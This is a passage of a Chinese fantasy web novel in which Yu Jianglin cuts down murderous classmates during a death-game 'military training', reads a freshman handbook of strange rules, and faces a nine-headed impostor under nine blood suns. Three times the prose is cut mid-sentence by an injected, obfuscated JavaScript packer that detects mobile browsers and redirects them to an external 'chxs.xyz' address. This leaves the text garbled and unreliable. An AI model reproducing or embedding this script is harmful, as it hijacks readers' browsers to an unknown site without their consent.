“外面是海。”她听到自己干巴巴的声音。 那双蜜色的眼睛眨了眨,像是剔透的琥珀:“你们住在海里?” “不,我们住在镇上……大家都住在镇上。” “什么样的小镇?” 她张了张嘴,忽然发现住在镇上的记忆已十分模糊,明明距离入学才过去几日而已,最后只能回答:“大家叫它浮海镇。” “浮海……”那人轻声念着这个词,似乎在思索什么。 过了几秒,那张瑰丽的脸上转而绽放出一个灿烂的笑:“为什么你们都想要毕业呢?” 她被这笑短暂地眩了神,下一刻又被那双冷淡的、毫无笑意的琥珀瞳惊醒,不自觉喃喃回答道:“不知道,不记得了……” 怀中的女孩子渐渐停下了哭泣,只仍抓着她的手,小声道:“我好怕……” “没事,别担心,很快就会过去的……”她下意识、第无数次地安慰着,轻拍着对方的背。 许多事已记不得,许多画面已模糊不清,就连这个外貌与她同龄的孩子,也想不起来自己为何如此在意。只是本能比理智先行,她总想将之护着,直到……各自毕业。 她恍惚再抬头,却发现那位青年不见了。 . 虞江临在这悬崖底下走了一圈,逐一交谈。每个人的回答都差不太多:想要毕业,却不知自己为何想要;来自一个名为浮海镇的地方,却对那里的生活毫无印象。 倒是有一点可以确定。躲在这悬崖下面的新生,皆是毫无杀意,毫无狠厉,怎么看都是容易任人宰割的羔羊。这样的人在“大逃杀”游戏里通常难以站到最后。 ——可偌大个学校都开了,还不能准许人人都毕业了? 虞江临如此想着,他往悬崖上看了眼,便顺着瀑布要上崖。同那下边的水流一样,这些无色而凝固的水遇上他的身体,便自发向两旁移开。水沾湿不了衣物,他爬得很快,步履轻松,如踏平地。 途中,遇上了那才匆匆见过一面的便宜队友之一。对方四肢长而有力,灵活穿梭在瀑布间,借着水幕的遮盖,时隐时现如鬼魅,又如林间吊来吊去的猿猴,叫人防不胜防。看来便是那位“擅长攀岩”的学生了。 至于为什么过了这么久,对方仍在爬悬崖,没有上去,答案也显而易见——这人腰间挂了不少磨得尖锐的石头,正举起其中一块,朝下面一名试图上爬的学生丢去。 那石头即将正中脑门,却在中途被另一侧袭来的、又快又急的小石撞飞。这位伏击客一愣,随后一双凶狠的眼猛地抬起,看向那坏他好事的家伙。 虞江临刚从悬崖峭壁上捡了块石头丢去,手都还没放下,见那位好队友看过来,便笑着顺便挥了挥手,打了声招呼:“哟。” 好队友呆了呆,像是还未反应过来,紧接着似乎看见什么,瞳孔猛地一缩,刚要张嘴说些什么,便被一块更急更狠的石头正中人中——“猿猴”坠下了悬崖。 悬崖底下窝着的一群人产生了些许骚动。学生们似乎恨极了这位四处偷袭的家伙,有几个冲上去,对着“猿猴”的尸体踩了又踩,直到旁边的猫师傅架着担架来一视同仁地刨坑。有几个胆大的则冒出头来,打算试着爬悬崖了。 虞江临足尖点在悬崖上一点,借着巧力轻飘飘立着,拍了拍手上灰尘,自言自语道:“解决了一个。” 至于这位好队友方才究竟想要说些什么,是个什么身份,又是究竟为什么要躲在这里袭击一众学生,是否有何隐情,是否被那姓宋的家伙唆使……虞江临一概不关心。 虞江临只知道两点:要论攀岩,那人不及他;要论投掷准头与速度,那人更是没法比——这就够了。 . 虞江临爬上了悬崖,他看见悬崖上面仅站有两位人,双方正在殊死搏斗,其中一位便是先前宋林领来与他见了一面的另一位队友。 先前那位队友躲在水幕后看不清神色,这会儿这位倒是看得清清楚楚。明明站在宋林身后时还算乖巧,此刻一张脸上却是戾气横生,身旁黑雾环绕,像是恨不得生吃了对面的另一学生。 虞江临扫了四下一圈,鲜血淋漓,尸体倒了几十位。看来是新生中较为厉害的那一批尖子生,好不容易冲破了那水幕间“猿猴”的偷袭,上了悬崖却又被这位“屠夫”解决。这些人不仅死状凄惨,尸体还被扣着,没法掉下悬崖,也就不会被猫咪救护队们埋入土里。 即便如此,仍有雾气稀薄而轻飘地赶来,颤巍巍地试图修复这些尸体。只是尸体不埋在土里,赤|裸裸暴露于空气中,修复效果微乎其微。更多的雾气于是跟着飘来,像是用漏斗取水,显得极为奢侈…… 虞江临皱了皱眉。他想起来那一幕幕的三日凌空之下,一群猫正与庞大的敌人生死相斗,那些战死的猫也同样被白雾修复着,只是死去的速度远赶不上复生;他想起来那只白色的破垃圾袋般的海上小猫;他想起来悬崖下那位学长的话:医疗资源是有限的。 ——如今有限的医疗资源全被这些坏孩子浪费了,啧。 虞江临默默看着面前两位肌肉虬结的学生殴打在一起,看着他们各自挥着利器,一招一式,招招致命——但话又说回来,这个年纪的学生真能有这样的身材与身手么? 两个明显不像学生的学生打得热火朝天,尘土飞扬,狂风飒飒,虞江临便是擂台下唯一的观众。他看出这二人各自身负派系绝学,且学艺已久,已成风格。 ——招式很新,倒是新鲜,但基本功不牢。他于心中点评道。 仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756624|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛潜意识被这火热的打斗场面所激醒,又也许那漫长岁月中所一点点习得的知识早已渗入骨髓,无须记忆无须刻意找寻,虞江临看了一会儿便了然:他能打过,单凭肉|身武艺。 对战已近尾声,虞江临的那位好队友显然占据上风,另一人则身负重伤,即将成为周围一圈尸体的一员。 虞江临低头拉开外套,剥荔枝一样地把胸前衣领拉下,然后握上那别在运动腰带上的一柄……菜刀。是扎营时从物资处领来做饭的菜刀,已细细洗干净,他把菜刀从外套中取了出来。 虞江临颠了颠沉甸甸的菜刀,又是一阵自言自语:“原本这刀是打算用来砍宋林队长的,现在倒提前派上用场了……不过看在我们都是队友的份上,我想队长会理解的。” 眼前战况已出,一人倒下,另一人仍站立,竟是几乎毫发无损。 那小山般魁梧的学生,那堵在悬崖上杀了数十狠角色的屠夫,他的好队友转过头来,满脸戾气,凶狠如邪魔。与他四目相对时,却是一愣——刚掉下去的那位好队友似乎也是如此。 虞江临勾起嘴角:“你认识我?” “……虞江临。” 虞江临笑了笑:“阁下如何称呼?” “六重境玄冥斗尊——厉刃魔。”对方目光炯炯,缓缓报上名号,每个字都念得很重,像是希望听者能记住。 ——好没格调的一串名字。虞江临在心里说。 他面上神色未变:“他们都没有记忆,你却好像记得一点。” “哼,废物们自然什么也不记得,只浑浑噩噩地苟活。”好队友傲慢道。 被莫名归类为废物一类的虞江临笑意更深。 自名为“厉刃魔”的好队友兀自又沉沉继续说下去,语气竟带上几分敬重:“您要是欲继续往前行,在下愿送您一程。” “你不拦我?”虞江临笑着瞥了眼周围的尸体。 “在下敬您一分。” 虞江临没问为何而敬,只又问:“那他们呢?” “弱者不配上来。弱肉强食,适者生存,向来是这世间的道理……您是想要为这群废物求情吗?”厉刃魔神情逐渐不悦。 他以为传说中的那位虞江临会反驳,又或是与他争辩——他其实也并未保留多少记忆,但自从那位姓宋的神秘高人为他开点几句,前尘往事便逐渐浮上心头。 他记起了他曾经的名号,记起了那位修道者无人不知的虞江临,以及最关键的,明白了与虞江临所息息相关的、这所建立于浮海之上的“学校”存在的意义。 ——他得抢占先机地率先将其余学生逼至退学,才好更为稳妥地迎来毕业日。 ——资源是有限的。 却没想到面前的虞江临竟赞赏地点头,脸上笑意更深,随之他听到一句轻飘飘的话:“哦,弱肉强食,这个我懂——我最熟悉了。” 被这笑晃了神,厉刃魔还没反应过来,就被对方的手轻轻一推。不,不可能,他修炼至今的金刚之身不可能……他的身子分明在往后倒! 厉刃魔后知后觉感受到胸口一阵冰冷的痛意; 他后知后觉发现推他的不是手,而是一柄银色的刃; 他后知后觉地低头发现自己胸前中了贯穿伤,整个身体被砍成了两半; 他后知后觉地意识到方才视野前略过的那抹银色,是连他的肉眼都难以捕捉的十几招横横竖竖的快刀! 不,不可能,那虞江临不是已经……! 那刀是什么法器,竟有如此威力……? 堕下悬崖前视线最后所见,便是对方仍笑盈盈的脸。只是这回厉刃魔终于意识到,那笑是如何诡谲,叫人发冷。对方轻松将那菜刀模样的法器于手掌间翻转,含笑开口。 “我为强,你为弱,那么——下去吧。” 17.新生手册 将那名号又长又没格调的新生砍下崖,虞江临甩了甩菜刀,刀上血便自发如串珠滚落,又被白雾托起,朝悬崖下飞奔而去,似是要与身体的主人重新融合。 在“这里”,似乎没有真正的死亡一说……又或许需要用某种特殊的方法。 虞江临随意检查了下光洁如初的刀面,便将其卡回到运动腰带上,重新拢上外套拉链,整个人便又是一副清清白白、柔柔弱弱的好学生模样。 贴心的好学生耐心地将崖上数十的尸体拖到崖边,一个一个地全部丢下,崖上打转的白雾们于是也都冲了下去。远远往下望,那些猫咪担架队们很快负责地上前搬运,一视同仁,没有态度差别,哪怕这群“坏坏”的孩子给它们增添了极大的工作量。 又强又坏的孩子们不再挡道,那么后头不坏却很弱的孩子就该上来了。虞江临等了一会儿,果真看到新的学生从下面爬上来,只是那张脸令他有些意外。 ——是那对关系微妙的小姑娘。 先冒出头的是长发姑娘,对方胆怯又谨慎地往崖顶扫了一圈,看到虞江临时同样很是惊讶,但并未露出什么惧意,似乎这位声音软和的青年给她留下的印象不错——她自然不会想到,这悬崖大乱斗的唯一胜者,便是面前这位。 没有其他人,长发姑娘微微松了口气,于是一鼓作气,有些狼狈地翻身爬上来,又弯下腰趴在地上,毫不体面地拽着紧跟的另一人。很快,后面那位扎着马尾辫的女孩子也被拉着冒出脑袋。 她们显然是普通人中的普通人,从来没有徒手爬过悬崖,此刻浑身脏兮兮,手上伤口颇多。那位马尾辫姑娘即便被同伴帮助着,也差点在上来时掉了下去。 虞江临默不作声伸了一手,把她们两人都拉上安全范围。 “谢谢您!”长发姑娘感激极了,眼眶红红,似乎方才真以为同伴要掉下去了。她抓着同伴的手,带着对方一起弓了弓背——就像是母亲带着怕生的年幼孩子那般道谢。 虞江临淡淡笑了笑:“没事,顺手而已。趁那些人还埋在土里,抓紧时间往前跑,你们应该能登顶……只有你们上来了吗?” “他们在犹豫,害怕悬崖上面还有人。我本来是想来试试看,如果有人就再偷偷下去……”长发姑娘逐渐破涕为笑,“结果哪里有人呀,他们都自相残杀地掉下去了!果然是恶有恶报!” 被无故开除“人籍”的虞江临一默,他视线落到地上某处,似乎是这两位翻身上来时掉下的,滚到了他脚边。 “有样东西。”是个小册子,他弯腰捡了起来,看清上面的字时,他动作一顿,“……抱歉,我的手册不见了,我能借用你们的看一眼么?” “当然可以了。”长发姑娘很是爽快。 虞江临捧着巴掌大小的薄薄手册,目光在那“新生手册”四个烫金大字上多停留了几秒,便翻开黑皮外封,垂眸看了下去。 【欢迎各位新生前来浮海求学,希望我们在接下来相处的日子里,都能度过一段宁静的时光。关于入学后在校期间的纪律问题,有以下几点需要强调。】 【1.校内学生数量固定一千人,赋予临时学号0001-1000,报道日不可抢夺他人录取通知书,不可伪造学生证。】 【2.每日零点至三点为门禁时间,不可出宿舍夜游,违者后果自负。】 【3.校园内的猫是可信的,无论它们以何种姿态出现。】 【4.校园内的猫头鹰是不可信的,无论它们以何种姿态出现。】 【5.如遇猫头鹰袭击,请联系卫生部或就近向猫寻求帮助。】 【6.时刻谨记,猫是一种拥有柔软毛发与数量不等的尾巴,并能发出喵叫的可爱生物,拥有鸟羽的存在不是猫,发出鸮叫的存在不是猫。】 【7.猫不会吃掉学生,若目击到有学生被猫吃掉,两者之间必有一方为猫头鹰伪装,请尽快联系卫生部。】 【8.除集中外出时间段,新生须每日前往一次食堂,若某学生某日未前往食堂,请联系纪律部检举,若某学生一周内累积三日未前往食堂,请尽快联系卫生部。】 【9.食堂内每日免费发放红豆汤与酸梅汤,可自行选择其一取用。】 【10.教学楼一楼均放有爱心花篮,如遇突发状况,可自行取用。(详见生活部规章)】 【11.校内禁止相杀,校内禁止自杀,违者后果自负。(详见卫生部规章)】 【12.开学一周内进行军训,军训期间上条规则无效。未完成军训者,退学处理。(详见体育部规章)】 【13.未通过期中、期末考核者,毕业日未修满学分者,一概退学处理。(详见学习部规章)】 【14.毕业日前仍未修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766331|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满学分者,若综合素质评定结果优越,可酌情加分。(详见文艺部规章)】 【15.在校期间不可擅自出校园,离校仅能乘坐校车,违者后果自负。】 【16.本手册由纪律部组织编纂,参考学生会各部门意见修订,最终解释权归学生会所有。学生会全体成员在此预祝诸位顺利毕业。】 一页首页加上十六页条款,内页共十七页,若加上封皮则是整整十八页。袖珍白张上墨迹湿润,毛笔字书写得大而张扬,像是某种玄而又玄的符文。其中涉及不同部门规章的尾部几条,则墨迹深浅不一,笔法也各自不同,应当是不同人修改添加的。 虞江临看完了,面上不做神情。他很是客气地将手册归还,淡淡祝福道:“谢谢,希望你们接下来一路顺利。” “嗯!”长发姑娘将手册收好,见虞江临站在原地没动,又问,“您不走吗?” “我呀,我还有个队友落在后面,也许是迷路了……我还得亲自送他一程。”虞江临笑眯眯道。 等这对新生手拉着手继续向前跑,悬崖上又接着有几人同样冒出头来,见纷争果真平息了,便鬼鬼祟祟悄悄咪咪地想要爬上来。 虞江临没管他们,只慢吞吞从口袋里取出随身携带的学生证。上面印有他的姓名,性别,头像,以及学号——0000。 他垂着眼睛笑了笑,把学生证收回口袋,随后转身一跃,在众人惊诧目光中,跳下悬崖。他单手拽开拉链,将那柄大菜刀拔出。灰白的运动外套被狂风疾疾吹鼓,仿佛白袍翻滚。 他便以刀入山壁,坚不可摧的刀锋直挺挺砍入山身。随着身体坠落,那刀同样向下劈砍,击打着层层巨岩乱石,声震如雷。那根看上去无力的手腕此刻悍然不动,磐石般与刀柄凝铸一体。 他握刀而下,借着刀承受的阻力,从悬崖顶自上而下匀速滑行,湍急的瀑布自发避开他的身躯,从外看来仿佛青年持刀劈开了崖瀑,银河分半。 还仍不安犹疑的新生们驻足于瀑布下,呆而震惊地仰望这劈山分水的一幕。那白袍猎猎的高人已轻松落地,一头墨发散乱于肩,一手持着一柄应当是奇珍宝器但不知为何形似菜刀的刀器。那张精致出众的脸应当是在哪里见过,可却谁也不记得谁也不清楚。 高人自山上来,冷声开口道:“趁那几个刺头还埋在土里,抓紧时间上山。” 18.九日凌空 校园内。 漫天结界张开,丝丝缕缕托着炙烤的三日。在持久的消耗战下,结界原本琉璃般的色泽已逐渐枯萎,好些火焰已掉落于底,顷刻吞噬掉所接触的一切,仿佛一只张开火舌的饥饿巨兽。 棠梨的左肩膀以及一只左手臂已消失,从胸口到左腰赫然开裂着一狰狞的黑窟窿。这是方才不慎被一簇火苗偷袭所致。 她咬牙掐诀,一手撑着结界法阵,另一手远远帮前面一人扑了火,又高声向身后问道:“他们还没有回音吗?!” 身后一名黑发黑眼戴着黑框眼镜的学生冷静回答:“没有,无论是戚缘还是谢金都没有消息。雾气越来越散了,恐怕他们那边的伤势更为严重。棠梨,我们大概得做出选择了。” 棠梨暗了暗眼。她此刻眼底的坚毅与决绝同虞江临先前所见迥然不同。她皱眉扫视一圈,看到手底下部员们已瘫倒大片,复生的速度远远赶不上新伤。他们维系结界的法力被源源不尽地消耗着,仿佛开了闸的大江,永无至今泄出,直至枯竭。 而面前这位总是保持冷静体面的同伴,此刻腰腹处也破开大洞,半张脸都被火球掀翻,只剩下一根眼镜架徒劳地挂在半只耳朵上。 那无声与她对视的眼睛仿佛在说:守不住的。 棠梨自己又何尝不明白。他们负责镇守主校区,在校内诸多常驻法阵加持下,都已被敌人击破至此,后山的情况只可能更为糟糕。这白雾越发稀薄,可见那边伤势之惨重,他们必须得尽快赶去支援! 棠梨张了张嘴:“所有人听令,撤离……” 就在这千钧一发之际,四面八方浓厚白雾喷涌,滚滚袭来,如大雪压境,连绵不绝! 白雾轻柔地托举起重伤死亡的学生们,这些缺胳膊少腿的身体以不可思议的速度被修补。他们睁开眼睛,便没有丝毫犹豫地再度投入战场,原地盘腿而坐,掐诀施法,天空上灰暗的结界逐渐恢复色彩。 “看来他们那边形势逆转了……”棠梨望着自己失而复得的胳膊喃喃道,又抬眼扬起抹明媚的笑,“怎么样,姜水?我就说我们能守住吧!” 被换作姜水的学生单手捏着歪斜的镜框,将其重新戴回到复生的耳朵上:“可以。我们速战速决,也许还能赶去支援。” . 山巅骨冢。 谢金睁开眼,他黑色的瞳仁了无光亮,过了几秒似乎是意识到身旁还有人,他轻快地笑了笑:“不好意思又死了,这是第几轮了?雾气似乎更薄了呢……” 他身旁的一个学生正蹲下来,随意将断肢接到自己身上,眼里同样没有光彩:“应该是军训出了问题。那边占用了太多雾气,卡住了资源。我的部员们已经死得差不多了。死了也好……复活得那么快,也只是被当做耗材而已。” 谢金没有接话,只瞥了眼那人。 那人一边施法对敌,一边低低继续说道:“这学期军训大概又会退掉许多新生了……戚缘那种家伙一定很高兴吧。” 谢金垂眸在同伴阴郁的脸上停留了几秒视线,刚要说些什么,就见浓厚雾气回归,周围死去的部员们复苏,而他枯竭的力量也在白雾加持下重新灌满。 “嚯。”对这突如其来的逆转,谢金有些意外地发出声感慨,他仿佛没听见同伴方才的话,继续做出一副活力满满的样子,“雾气回来了,看来军训那边的问题已经解决了。继续好好打吧!无论如何,我们得守住这座冢,不是吗?” . 在白雾加持下,校园内和白骨冢两地的学生会战力显而易见地提升起来,战势逐渐倾斜。 “宋林”仍旧站在林中,他冷笑了声:“区区凡人,果然没什么用。”他挑挑拣拣才勉强找出来两个煞气重的狠角,用来消耗那东西的力量,想不到这么快就废了。 视线又望到海边的战况,他逐渐皱眉:“怎么还没解决……” 那八尾明明从一开始就只剩下个丝血,结果硬是扛着这丝血抵抗到了现在。他隐隐约约意识到哪里不对劲,那八尾不对劲……究竟是哪里不对劲?! 这偌大的浮海,至高仅有一个八重境守护,其余甚至连八重境都没抵达。论及跟脚,也不过是一群野猫而已,血统毫无出彩地方……虞江临更是半死不活,与凡人无异,不成威胁…… 理论上很好得手才对……究竟是哪里不对劲……“宋林”隐约察觉到,不可再继续打消耗战下去……得速战速决! 他立即收回另外两处的分身,全力投入海上对战。趁其他家伙还没来抢食,他得尽快吃了这八尾,再去吃那虞江临! 刹那间,就在战况逆转之时,校园内和骨冢内的人面三日同一时间消失,转瞬海面上出现九轮畸形而狰狞的太阳,血红色的天幕沉沉压下来。 当九轮太阳聚集到一起,它们便膨胀得更为巨大。首尾相接,衔成圆环。九轮血日周身环绕着不详的漆黑斑点,那黑色逐渐渗透原本血色的天,直往下坠。 一时间,校园内,山巅上,山腰中,所有人都被那灼热的气息所烘烤,抬头都能看见那邪祭般成环的九日,以及大片大片落下的侵蚀黑雨。 ——九日凌空! 九张“宋林”的脸于茫茫海面上嗤笑:“耗了这么久,想必你也撑不住了……看在你护主之情的份上,就给你个痛快!” . 虞江临返程的路上,山上一群猫跑过来围在他脚边,喵喵叫。 他入山的第一时间便察觉到这群小家伙了,这里的小家伙似乎与校园内的不同,无法变成“学长”“学姐”们,都只是单单纯纯的小猫而已。它们追逐着他的脚步,似乎很喜欢他的样子。 他短暂地停了脚步,笑着说:“我还有事情要做,不能陪你们玩啦。待会儿记得躲远点,不要被波及到了。” 猫咪们仍黏糊糊地围着他,声音略带焦急。人们常说天有异动,百兽先闻。 很快,虞江临的疑问便不成疑问。同所有人一样,他也看见了天空之上诡异的九日。当瞥见那规律排列如同某种仪式的圆环,虞江临目光颤了颤。 他紧盯着那高空的九日,任由天上落下的黑雨滴落到他的头顶,他的肩头。灵魂上传来震震刺痛,那些黑雨正在腐蚀他,吞噬他。可他浑不在意。 “啊。”虞江临只是轻轻喟叹了一声,那声音有惊讶,有意料之中,有恍然大悟。 仿佛一个陡然失忆、不知何为我何为世界何为终将所去的人,突然坐上考场要面临一份听闻无比艰难、几乎无人可作答的试卷。 当翻开卷面,却发现字字开卷,入目皆是曾经最为熟悉的、几乎已刻入本能的事物。那是比刻骨铭心更为深刻的印记,哪怕魂散身消,也绝不忘记。 漫长的时光令某些做了千千万万次的事情成了习惯,令某些习惯成了技能,令某些技能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774756|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了知识,令这份知识成为了他的一部分,成为了“虞江临”这个名字在这世上所代表的含义。 虞江临想:原来敌人不过是这种东西。 他低头朝猫咪们温柔地笑了笑:“不用害怕,很快就结束了。你们可以去找那些‘前辈’,他们会保护你们的。这些雨水对你们有害,沿途记得找树林避让。” 说完,他便加速朝那宋林的方向奔去。 . 虞江临终于抵达他与宋林分开的那阵白雾。此处白雾比先前更为厚重,叫人看不清。从白雾里,隐隐约约竟然站着一群人。 虞江临又走近了些。一个,两个,三个……足足有九颗脑袋,前后左右,上上下下起伏着,仿佛人山人海。 “宋林”显然也看见了他,便一步步走了过来——只有他一人。 “宋林”的肩膀上,本该与脑袋相接的脖颈处,此刻顶着九颗悬浮的头。每颗头颅都被一根环绕着符文的金锁链缠绕,神态各异,气球般系到了那人类躯壳之上,半空悠悠飘动。 这怎么看怎么不对劲的“宋林”,开口却是先发制人地说:“你不对劲。” “哦?我觉得在场不对劲的那一位,应该不是我。”虞江临仿佛没有看见宋林那惊悚诡异的九头样貌,仍旧温温和和笑着。 “宋林”眯着眼睛,打量着虞江临。 他问:“那两个废物死了?” “宋队长是说我们的两个好队友吗?他们脾气不太好,所以只能暂时让他们睡一觉了。等‘好孩子’都通关了,再请他们这些‘坏孩子’赶在最后的时间里冲刺。我想时间紧迫的危机关头,他们就再没有心思对付别人了。”虞江临耐心解释道。 “宋林”神色不定:“他们一个是六重境,一个是五重境,这批废物里再没有比他们更强的了。那群留下来不参战的野猫更是连三重境也没有……是你解决了他们?” “他们不太听话,所以我替你把他们踢出去了。说起来,我帮你管理队伍,你还欠我一声谢谢。”虞江临说得理直气壮,声音却仍旧温和。 “宋林”九张脸黑得很沉,他九双眼睛盯着虞江临上上下下看了一圈,最终凝重地吐出来一句:“……虞江临,你醒了。” 虞江临没有回答。 “你竟然还有能醒来的这一天,即便卸去一身骨与血,魂飞魄散,过了这么多年……该说不愧是你么。”“宋林”低低笑了声。 “哼,别用这种眼神看着我。你陨落之时,我尚不在那高天之列,你们这些老家伙的恩怨与我无关。就算是要寻仇也不该朝我发怒,我同样也不会将你苏醒的事情泄露出去……” “宋林”叽里咕噜地就开始说些虞江临如今压根听不懂也记不得的东西,虞江临只冷冷相望,并不做任何反应。这气势令“宋林”更加确信:这老怪物果然苏醒了! “我来只为一样东西,作为交换,我可以饶了你那只宠物不死。”“宋林”开始谈判。 虞江临不动声色反问:“宠物?” 显然,比起对方口中那神神秘秘的某样东西,他更在乎后者。 “宠物也好情人也好,我可不管你们私下里是怎么叫的……总之那只八尾的猫快撑不住了,我猜你能‘复活’,多半有它这么多年的努力吧?虽然不知道是怎么办到的,但我也并不在乎。我只要一样东西——生死簿,给我一页,如何?” 19.猫头鹰 “我只要一样东西——生死簿,给我一页,如何?”“宋林”其中一颗脑袋嬉笑着说。 虞江临两手揣在外套口袋里。其中一只隔着布料摸那柄菜刀,眼神则在对面人九只脑袋上来回打量;另一只捏着手机,盲敲着什么。 见虞江临不回答,“宋林”另一颗脑袋嘶哑着继续往下说:“你的力量想必还未恢复,如果你醒来的消息传出去,那些家伙恐怕会争相赶来,要趁着这最后的机会‘吃’了你。” 满面忧愁的脑袋紧接着接话:“但我不一样,我没那么贪心,我只要一页而已。一页生死簿换一只猫,很划算,对吧?” ——所以那生死簿究竟是个什么东西? 虞江临转开话题:“把雨停下。” 天上那古怪而漆黑的雨,已下得越来越沉,如同厚重帷幕降下,四面灰蒙蒙。那些雨水在一点一滴侵蚀他的身体。于他而言问题不算太大,但那群新生恐怕凶多吉少。 “把雨停下?”最右边的一颗脑袋以尖锐的嗓音复述了一遍。 中间一颗脑袋哈哈大笑起来:“为了闯入这里,我可饿了好久,又被你那白猫追了这么些天,一直没曾进食。” 最左边的脑袋激昂喊道:“来者是客!你既然不接客请饭,那我只能自助了!” “吃饭!吃饭!吃饭!”剩下的脑袋们一齐张大嘴尖叫起来。 黑色的雨淋湿在大地上,尚能行动的新生们惊恐地发现,他们身上那些被雨水打湿的地方竟消失不见。随着被淋湿的地方越来越多,他们感到一阵虚弱,仿佛失血过多。 人们很快意识到,那黑雨会吃人。 “躲、躲雨!” 能跑的学生,倒尚且能躲进树林里,藏在岩石下面。但那群被埋在土里的家伙就不好说了。露天之下,他们只露出颗脑袋,无知无觉,对黑雨来说似乎是最好的盛宴。 “搬运!必须搬运到安全位置!” “来不及了!得找些东西盖住!” 一群猫乱哄哄的,它们没有随着那些新生们一起逃跑,而是找寻起周围的遮蔽物来。它们爬上树拽下些宽大的叶子,它们把担架上的布料撕扯开,它们在慌乱中尽可能找寻东西,挡在地上那群人头上。 有些猫咪们第一时间窜入了森林,朝着不同方向跑去,那是不同的“菜园”的方向。有些猫咪实在找不到掩体,便只能把自己当做遮掩物,趴到人类的头顶,为其挡下沉重的雨水。 每只猫都变得格外狼狈,黑雨同样无情而畅快地啃食着它们的灵魂。对黑雨而言,它们甚至比那些手无缚鸡之力的新生更好对付,因为它们不会逃跑,也不会乱动。它们是体育部的部员,军训期间守护好每位新生是它们的职责。 ——快,快,快,菜园里还有新生! 一名猫咪学长努力向前狂奔着,可它浑身的毛发越来越沉,灵魂仿佛压了千斤重量,眼皮也麻木得几乎睁不开。就在已经抵达目的地,眼前就是它所负责的菜园时,猫终于跑不动了。它趴到了地上,无力地咪了一声。 它隐隐约约意识到,这次的“死亡”并不一样。如果被那黑色的雨水吃了,是不会回到校园,不会回到大家身边的。它的鼻尖有些发酸,它还没有完成它的最终使命,它们所有的猫咪都是为了那一个共同的目标而努力至今,那是……那是什么呢? 它发现自己好像忘记了最初的目标,而它还没想起来这无比重要的事情,就要死了。 就在这时,伴随着一阵轰响,一辆明黄色的小车从灰蒙蒙中冲出,冲到它面前停下,甩出一个飘逸的摆尾。那是校内最常见的校车,八人座,小巧可爱得如同孩子的玩具,如今为遮雨拉上了顶棚。 车上那位黑发白了半头的司机挥了挥手:“上车!”。 “常叔……”猫认出了这位校车师傅,可它已经没有力气上车了。 一只手把它的后颈提了起来,猫扑腾了两下,睁开眼睛,发现是组长。这一车上坐了许多猫,许多人类——严重超载了。 “组长,菜园……”猫焦急地说道。 猫咪组长点点头,安抚道:“放心!我们这就是去接他们的。” 可是车坐不下这么多人……猫立即想到。 话音在心底里刚落下,便听见森林里轰隆隆又传来一阵响动,紧跟着一辆接着一辆相同的明黄色校车呜呜奔来! 车上每个司机都身穿统一黑色制服,戴着一副墨镜,复制粘贴般整齐。他们以最前头那辆校车为首,恭敬地停在稍后方,一眼望去,黄澄澄一片长龙,望不到尽头。 “赶紧的,全搬上来!”常叔挥手指挥道。 这一队明黄色的校车载了满车人与猫,便继续轰隆隆地往山上跑,沿途遇上人遇上猫便往车队里接。那玩具似的校车,却将可怕的黑雨完全挡在了外面。车内人挤人,猫挤猫,每位学长学姐都变回了本体,缩成一团,尽量给新生们挪位置。 还醒着的新生们很是感激,突然天上就下了这奇怪的大雨,而校方便派出了这校车队伍们来接应。虽说每辆车上都不知为何坐了几只猫,但猫猫们也是需要躲雨的,他们能理解。 ——似乎再离奇的事情,都能被他们的大脑自动接纳。 毛绒绒的学长学姐们悄咪咪地接着头,喵喵喵说着人类听不懂的语言。它们互相确认同伴的数量,又清点起新生的个数。先前下发的运动腰带在此刻派上了用场,借助腰带上的定位,很快那九百人的新生都搜罗得将近齐全。 猫咪组长很是威严地趴在角落里,如今部长不在,它是留下的唯一的组长,便要独自撑起体育部来。就在它喵喵叫着指挥方向时,一双手忽然将它举起。 “喵???” “哎呀,地上多凉啊,坐到我腿上吧。”一名新生好心说道。 猫咪组长抖了抖毛,见组员们仰着脑袋,没有对这一举动表露出什么怪表情,它便端坐在人类腿上,接受了对方的好意,继续威严地喵喵指挥着。 好吧,这届新生倒还算敬重学长…… 黄澄澄的车队继续向山上跑。终于,他们遇上一群看起来像难民的家伙。这批人东倒西歪走着,缺胳膊少腿,有些人干脆不省人事,被同伴们扛着背着。 车上猫猫们喵喵大叫起来:“是部长他们!” “部长怎么倒了……” “呜,部长身体一向不好,不该出外勤的……” 这群“难民”,也就是方才在山巅骨冢战斗的那批人,下山下到一半,见到上山的车队,每个人脸上都是惊讶又茫然。 谢金站在最前头,他背上背着昏倒的同伴——也就是这群体育部成员们的部长——此刻望着那一辆辆超载的校车,同样木着一张脸不知应当作何表情。 